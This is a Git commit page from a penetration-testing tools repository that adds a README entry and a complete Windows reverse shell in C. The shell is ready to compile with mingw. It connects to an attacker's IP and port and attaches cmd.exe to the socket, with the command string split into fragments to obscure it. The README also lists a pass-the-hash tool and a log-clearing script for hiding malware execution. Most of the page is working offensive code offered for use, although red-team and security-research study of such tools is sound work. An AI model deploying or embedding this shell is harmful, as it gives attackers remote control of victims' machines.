Git/mgeeky-Penetration-Testing-Tools
1
0
Fork 0
mirror of https://github.com/mgeeky/Penetration-Testing-Tools.git synced 2024-11-21 18:11:37 +01:00
Code Issues Packages Projects Releases Wiki Activity

Simple reverse-shell added.

Browse Source
This commit is contained in:
mgeeky 2019-06-28 13:21:31 +02:00
parent f0f68868f3
commit d81f92ad28
2 changed files with 73 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
windows/README.md
View File

@ -22,6 +22,8 @@
- **`pth-carpet.py`** - Pass-The-Hash Carpet Bombing utility - trying every provided hash against every specified machine. ([gist](https://gist.github.com/mgeeky/3018bf3643f80798bde75c17571a38a9)) - **`pth-carpet.py`** - Pass-The-Hash Carpet Bombing utility - trying every provided hash against every specified machine. ([gist](https://gist.github.com/mgeeky/3018bf3643f80798bde75c17571a38a9))
- **`revshell.c`** - Utterly simple reverse-shell, ready to be compiled by `mingw-w64` on Kali. No security features attached, completely not OPSEC-safe.
- **`Simulate-DNSTunnel.ps1`** - Performs DNS Tunnelling simulation for purpose of triggering installed Network IPS and IDS systems, generating SIEM offenses and picking up Blue Teams. - **`Simulate-DNSTunnel.ps1`** - Performs DNS Tunnelling simulation for purpose of triggering installed Network IPS and IDS systems, generating SIEM offenses and picking up Blue Teams.
- **`win-clean-logs.bat`** - Batch script to hide malware execution from Windows box. Source: Mandiant M-Trends 2017. ([gist](https://gist.github.com/mgeeky/3561be7e697c62f543910851c0a26d00)) - **`win-clean-logs.bat`** - Batch script to hide malware execution from Windows box. Source: Mandiant M-Trends 2017. ([gist](https://gist.github.com/mgeeky/3561be7e697c62f543910851c0a26d00))

71
windows/revshell.c Normal file
View File

@ -0,0 +1,71 @@
/*
* Shamefully simple reverse shell, totally not OPSEC-safe, proving extremely
* low programming skills. Coded up in couple of minutes.
*
* Compilation:
* - x64
* $ x86_64-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32
* - x86
* $ i686-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32
*
* Usage:
* cmd> revshell <IP> <PORT> &
*
* Where:
* - ip - remote attacker's server IP
* - port - remote attacker's server PORT
**/
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <stdio.h>
#ifdef _MSC_VER
# pragma comment(lib, "ws2_32")
#endif
int main(int argc, char *argv[])
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in sin;
char saddr[16];
if (argc < 3)
{
return 0;
}
const char *hostname = argv[1];
unsigned int port = atoi(argv[2]);
WSAStartup(MAKEWORD(2,2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
struct hostent *host = gethostbyname(hostname);
strcpy(saddr, inet_ntoa(*((struct in_addr *)host->h_addr)));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(saddr);
WSAConnect(wsock, (SOCKADDR*)&sin, sizeof(sin), NULL, NULL, NULL, NULL);
if (WSAGetLastError() == 0)
{
STARTUPINFO sinfo = {0};
PROCESS_INFORMATION procinfo = {0};
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)wsock;
char *cmd[4] = { "cm", "d.e", "x", "e" };
char command[8] = "";
snprintf(command, sizeof(command), "%s%s%s%s", cmd[0], cmd[1], cmd[2], cmd[3]);
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &procinfo);
}
return 0;
}